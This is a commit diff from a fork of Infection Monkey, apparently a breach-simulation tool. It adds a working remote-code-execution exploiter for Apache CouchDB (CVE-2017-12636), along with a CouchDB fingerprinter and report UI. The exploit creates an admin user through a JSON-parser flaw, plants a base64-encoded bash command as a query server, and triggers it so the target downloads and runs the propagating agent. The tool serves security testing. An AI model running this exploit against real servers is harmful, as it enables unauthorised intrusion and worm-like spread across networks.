forked from p15670423/monkey
Compare commits
1 Commits
develop
...
couchdb-ex
Author | SHA1 | Date |
---|---|---|
Ilija Lazoroski | 94c2587fee |
|
@ -1 +1,2 @@
|
||||||
ES_SERVICE = "elastic-search-9200"
|
ES_SERVICE = "elastic-search-9200"
|
||||||
|
CDB_SERVICE = "apache-couchdb"
|
||||||
|
|
|
@ -0,0 +1,203 @@
|
||||||
|
"""
|
||||||
|
Remote code Execution on Apache CouchDB - CVE-2017-12636
|
||||||
|
Implementation is based on:
|
||||||
|
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
|
||||||
|
"""
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import string
|
||||||
|
from random import SystemRandom
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
|
||||||
|
from common.common_consts.network_consts import CDB_SERVICE
|
||||||
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.model import HADOOP_LINUX_COMMAND, ID_STRING, MONKEY_ARG
|
||||||
|
from infection_monkey.network.couchdbfinger import CDB_PORT
|
||||||
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class CouchDBExploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ["linux"]
|
||||||
|
_EXPLOITED_SERVICE = "Apache CouchDB"
|
||||||
|
# How long we have our http server open for downloads in seconds
|
||||||
|
DOWNLOAD_TIMEOUT = 60
|
||||||
|
# Random string's length that's used for creating unique app name
|
||||||
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(CouchDBExploiter, self).__init__(host)
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
|
||||||
|
exploit_config = super(CouchDBExploiter, self).get_exploit_config()
|
||||||
|
|
||||||
|
exploit_config["dropper"] = True
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def get_open_service_ports(self, port_list, names):
|
||||||
|
# We must append couchdb port we get from couchdb fingerprint module because It's not
|
||||||
|
# marked as 'http' service
|
||||||
|
valid_ports = super(CouchDBExploiter, self).get_open_service_ports(port_list, names)
|
||||||
|
if CDB_SERVICE in self.host.services:
|
||||||
|
valid_ports.append([CDB_PORT, False])
|
||||||
|
return valid_ports
|
||||||
|
|
||||||
|
def _exploit_host(self):
|
||||||
|
# Try to get exploitable url
|
||||||
|
urls = self.build_potential_urls([[CDB_PORT, False]])
|
||||||
|
self.add_vulnerable_urls(urls, True)
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
return False
|
||||||
|
paths = self.get_monkey_paths()
|
||||||
|
if not paths:
|
||||||
|
return False
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||||
|
command = self.build_command(paths["dest_path"], http_path)
|
||||||
|
LOG.info(self.vulnerable_urls[0])
|
||||||
|
LOG.info(command)
|
||||||
|
if not self.exploit(self.vulnerable_urls[0], command):
|
||||||
|
return False
|
||||||
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
self.add_executed_cmd(command)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
|
||||||
|
vv = requests.get(url).json()["version"]
|
||||||
|
v = vv.replace(".", "")
|
||||||
|
version = int(v[0])
|
||||||
|
|
||||||
|
with requests.session() as session:
|
||||||
|
session.headers = {"Content-Type": "application/json"}
|
||||||
|
|
||||||
|
try:
|
||||||
|
safe_random = SystemRandom()
|
||||||
|
rand_name = ID_STRING + "".join(
|
||||||
|
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||||
|
)
|
||||||
|
payload = self.build_payload(rand_name)
|
||||||
|
|
||||||
|
session.put(
|
||||||
|
url + "/_users/org.couchdb.user:" + rand_name,
|
||||||
|
data=payload,
|
||||||
|
timeout=LONG_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
|
LOG.info("[+] User " + rand_name + " successfully created.")
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
LOG.error("[-] Unable to create the user on remote host.")
|
||||||
|
|
||||||
|
session.auth = HTTPBasicAuth(rand_name, rand_name)
|
||||||
|
|
||||||
|
command = (
|
||||||
|
"bash -c '{echo,%s}|{base64,-d}|{bash,-i}'"
|
||||||
|
% base64.b64encode(str.encode(command)).decode()
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
if version == 1:
|
||||||
|
response = session.put(
|
||||||
|
url + "/_config/query_servers/cmd", data=json.dumps(command)
|
||||||
|
)
|
||||||
|
LOG.info("[+] Created payload at: " + url + "/_config/query_servers/cmd")
|
||||||
|
else:
|
||||||
|
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
|
||||||
|
session.put(
|
||||||
|
url + "/_node/{}/_config/query_servers/cmd".format(host_ses),
|
||||||
|
data=json.dumps(command),
|
||||||
|
)
|
||||||
|
LOG.info(
|
||||||
|
"[+] Created payload at: "
|
||||||
|
+ url
|
||||||
|
+ "/_node/"
|
||||||
|
+ host_ses
|
||||||
|
+ "/_config/query_servers/cmd"
|
||||||
|
)
|
||||||
|
LOG.info("[+] Command executed: " + command)
|
||||||
|
except requests.exceptions.HTTPError as e:
|
||||||
|
LOG.error("[-] Unable to create command payload: " + str(e))
|
||||||
|
|
||||||
|
try:
|
||||||
|
session.put(url + "/" + rand_name)
|
||||||
|
session.put(
|
||||||
|
url + "/{}/test".format(rand_name), data='{"_id": "' + rand_name + 'test"}'
|
||||||
|
)
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
LOG.error("[-] Unable to create database.")
|
||||||
|
|
||||||
|
# Execute payload
|
||||||
|
try:
|
||||||
|
if version == 1:
|
||||||
|
session.post(
|
||||||
|
url + "/{}/_temp_view?limit=10".format(rand_name),
|
||||||
|
data='{"language":"cmd","map":""}',
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
session.put(
|
||||||
|
url + "/{}/_design/test".format(rand_name),
|
||||||
|
data='{"_id":"_design/test","views":'
|
||||||
|
'{"' + rand_name + '":{"map":""} },'
|
||||||
|
'"language":"cmd"}',
|
||||||
|
)
|
||||||
|
LOG.info("[+] Command executed: " + command)
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
LOG.error("[-] Unable to execute payload.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
LOG.info("[*] Cleaning up.")
|
||||||
|
|
||||||
|
# Cleanup database
|
||||||
|
try:
|
||||||
|
session.delete(url + "/" + rand_name)
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
LOG.error("[-] Unable to remove database.")
|
||||||
|
|
||||||
|
# Cleanup payload
|
||||||
|
try:
|
||||||
|
if version == 1:
|
||||||
|
session.delete(url + "/_config/query_servers/cmd")
|
||||||
|
else:
|
||||||
|
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
|
||||||
|
session.delete(url + "/_node" + host_ses + "/_config/query_servers/cmd")
|
||||||
|
LOG.info("[+] Cleanup finished")
|
||||||
|
return True
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
LOG.error("[-] Unable to remove payload.")
|
||||||
|
|
||||||
|
return response.status_code == 200
|
||||||
|
|
||||||
|
def build_command(self, path, http_path):
|
||||||
|
# Build command to execute
|
||||||
|
monkey_cmd = build_monkey_commandline(
|
||||||
|
self.host, get_monkey_depth() - 1, vulnerable_port=CDB_PORT
|
||||||
|
)
|
||||||
|
|
||||||
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
|
|
||||||
|
return base_command % {
|
||||||
|
"monkey_path": path,
|
||||||
|
"http_path": http_path,
|
||||||
|
"monkey_type": MONKEY_ARG,
|
||||||
|
"parameters": monkey_cmd,
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def build_payload(name):
|
||||||
|
payload = """{"type": "user",
|
||||||
|
"name": %s,
|
||||||
|
"roles": ["_admin"],
|
||||||
|
"roles": [],
|
||||||
|
"password": %s}""" % (
|
||||||
|
name,
|
||||||
|
name,
|
||||||
|
)
|
||||||
|
return str.encode(payload)
|
|
@ -0,0 +1,48 @@
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from contextlib import closing
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from requests.exceptions import ConnectionError, Timeout
|
||||||
|
|
||||||
|
import infection_monkey.config
|
||||||
|
from common.common_consts.network_consts import CDB_SERVICE
|
||||||
|
from infection_monkey.network.HostFinger import HostFinger
|
||||||
|
|
||||||
|
CDB_PORT = 5984
|
||||||
|
CDB_HTTP_TIMEOUT = 5
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class CouchDBFinger(HostFinger):
|
||||||
|
"""
|
||||||
|
Fingerprints couchdb search, only on port 5984
|
||||||
|
"""
|
||||||
|
|
||||||
|
_SCANNED_SERVICE = "CouchDB"
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
|
def get_host_fingerprint(self, host):
|
||||||
|
"""
|
||||||
|
Returns couchdb metadata
|
||||||
|
:param host:
|
||||||
|
:return: Success/failure, data is saved in the host struct
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = "http://%s:%s/" % (host.ip_addr, CDB_PORT)
|
||||||
|
with closing(requests.get(url, timeout=CDB_HTTP_TIMEOUT)) as req:
|
||||||
|
data = json.loads(req.text)
|
||||||
|
self.init_service(host.services, CDB_SERVICE, CDB_PORT)
|
||||||
|
host.services[CDB_SERVICE]["cluster_name"] = data["cluster_name"]
|
||||||
|
host.services[CDB_SERVICE]["name"] = data["name"]
|
||||||
|
host.services[CDB_SERVICE]["version"] = data["version"]["number"]
|
||||||
|
return True
|
||||||
|
except Timeout:
|
||||||
|
LOG.debug("Got timeout while trying to read header information")
|
||||||
|
except ConnectionError: # Someone doesn't like us
|
||||||
|
LOG.debug("Unknown connection error")
|
||||||
|
except KeyError:
|
||||||
|
LOG.debug("Failed parsing the Apache CouchDB JSOn response")
|
||||||
|
return False
|
|
@ -17,6 +17,7 @@ BASIC = {
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
|
"CouchDBExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
|
|
|
@ -42,6 +42,17 @@ EXPLOITER_CLASSES = {
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||||
"/exploiters/mssql/",
|
"/exploiters/mssql/",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": ["CouchDBExploiter"],
|
||||||
|
"title": "CouchDB Exploiter",
|
||||||
|
"safe": True,
|
||||||
|
"info": "Vulnerability in CouchDB caused by a discrepancy between the database’s "
|
||||||
|
"native JSON parser and the Javascript JSON parser used during document"
|
||||||
|
" validation",
|
||||||
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||||
|
"/exploiters/mssql/",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": ["Ms08_067_Exploiter"],
|
"enum": ["Ms08_067_Exploiter"],
|
||||||
|
|
|
@ -33,6 +33,7 @@ class ExploiterDescriptorEnum(Enum):
|
||||||
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
|
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
|
||||||
)
|
)
|
||||||
MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor)
|
MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor)
|
||||||
|
CDB = ExploiterDescriptor("CouchDBExploiter", "CDB Exploiter", ExploitProcessor)
|
||||||
SHELLSHOCK = ExploiterDescriptor(
|
SHELLSHOCK = ExploiterDescriptor(
|
||||||
"ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor
|
"ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor
|
||||||
)
|
)
|
||||||
|
|
|
@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs
|
||||||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||||
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
||||||
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
||||||
|
import {cdbIssueOverview, cdbIssueReport} from './security/issues/CDBIssue';
|
||||||
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
||||||
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
||||||
import {
|
import {
|
||||||
|
@ -136,6 +137,11 @@ class ReportPageComponent extends AuthComponent {
|
||||||
[this.issueContentTypes.REPORT]: elasticIssueReport,
|
[this.issueContentTypes.REPORT]: elasticIssueReport,
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
},
|
},
|
||||||
|
'CouchDBExploiter': {
|
||||||
|
[this.issueContentTypes.OVERVIEW]: cdbIssueOverview,
|
||||||
|
[this.issueContentTypes.REPORT]: cdbIssueReport,
|
||||||
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
|
},
|
||||||
'ShellShockExploiter': {
|
'ShellShockExploiter': {
|
||||||
[this.issueContentTypes.OVERVIEW]: shellShockIssueOverview,
|
[this.issueContentTypes.OVERVIEW]: shellShockIssueOverview,
|
||||||
[this.issueContentTypes.REPORT]: shellShockIssueReport,
|
[this.issueContentTypes.REPORT]: shellShockIssueReport,
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
import React from 'react';
|
||||||
|
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||||
|
|
||||||
|
export function cdbIssueOverview() {
|
||||||
|
return (<li>Apache CouchDB servers are vulnerable to remote code execution.</li>)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function cdbIssueReport(issue) {
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
Update CouchDB (<a
|
||||||
|
href="https://couchdb.apache.org/">
|
||||||
|
update</a>).
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The CouchDB server at <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||||
|
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||||
|
className="badge badge-danger">remote code execution</span> attack.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible due to old version of Apache CouchDB.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
}
|
|
@ -58,6 +58,7 @@ SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_process
|
||||||
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
|
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
|
||||||
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
|
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
|
||||||
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
|
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
|
||||||
|
CDB # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
||||||
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
||||||
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
|
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
|
||||||
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
|
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
|
||||||
|
@ -85,7 +86,9 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
|
||||||
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
|
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
|
||||||
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
|
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
|
||||||
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
|
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
|
||||||
|
auth # unused method (monkey/infection_monkey/exploit/couchdb.py:98)
|
||||||
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
|
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
|
||||||
|
CouchDBFinger # unused class (monkey/infection_monkey/network/couchdbfinger.py:18)
|
||||||
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
|
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
|
||||||
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
|
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
|
||||||
SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)
|
SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)
|
||||||
|
|
Loading…
Reference in New Issue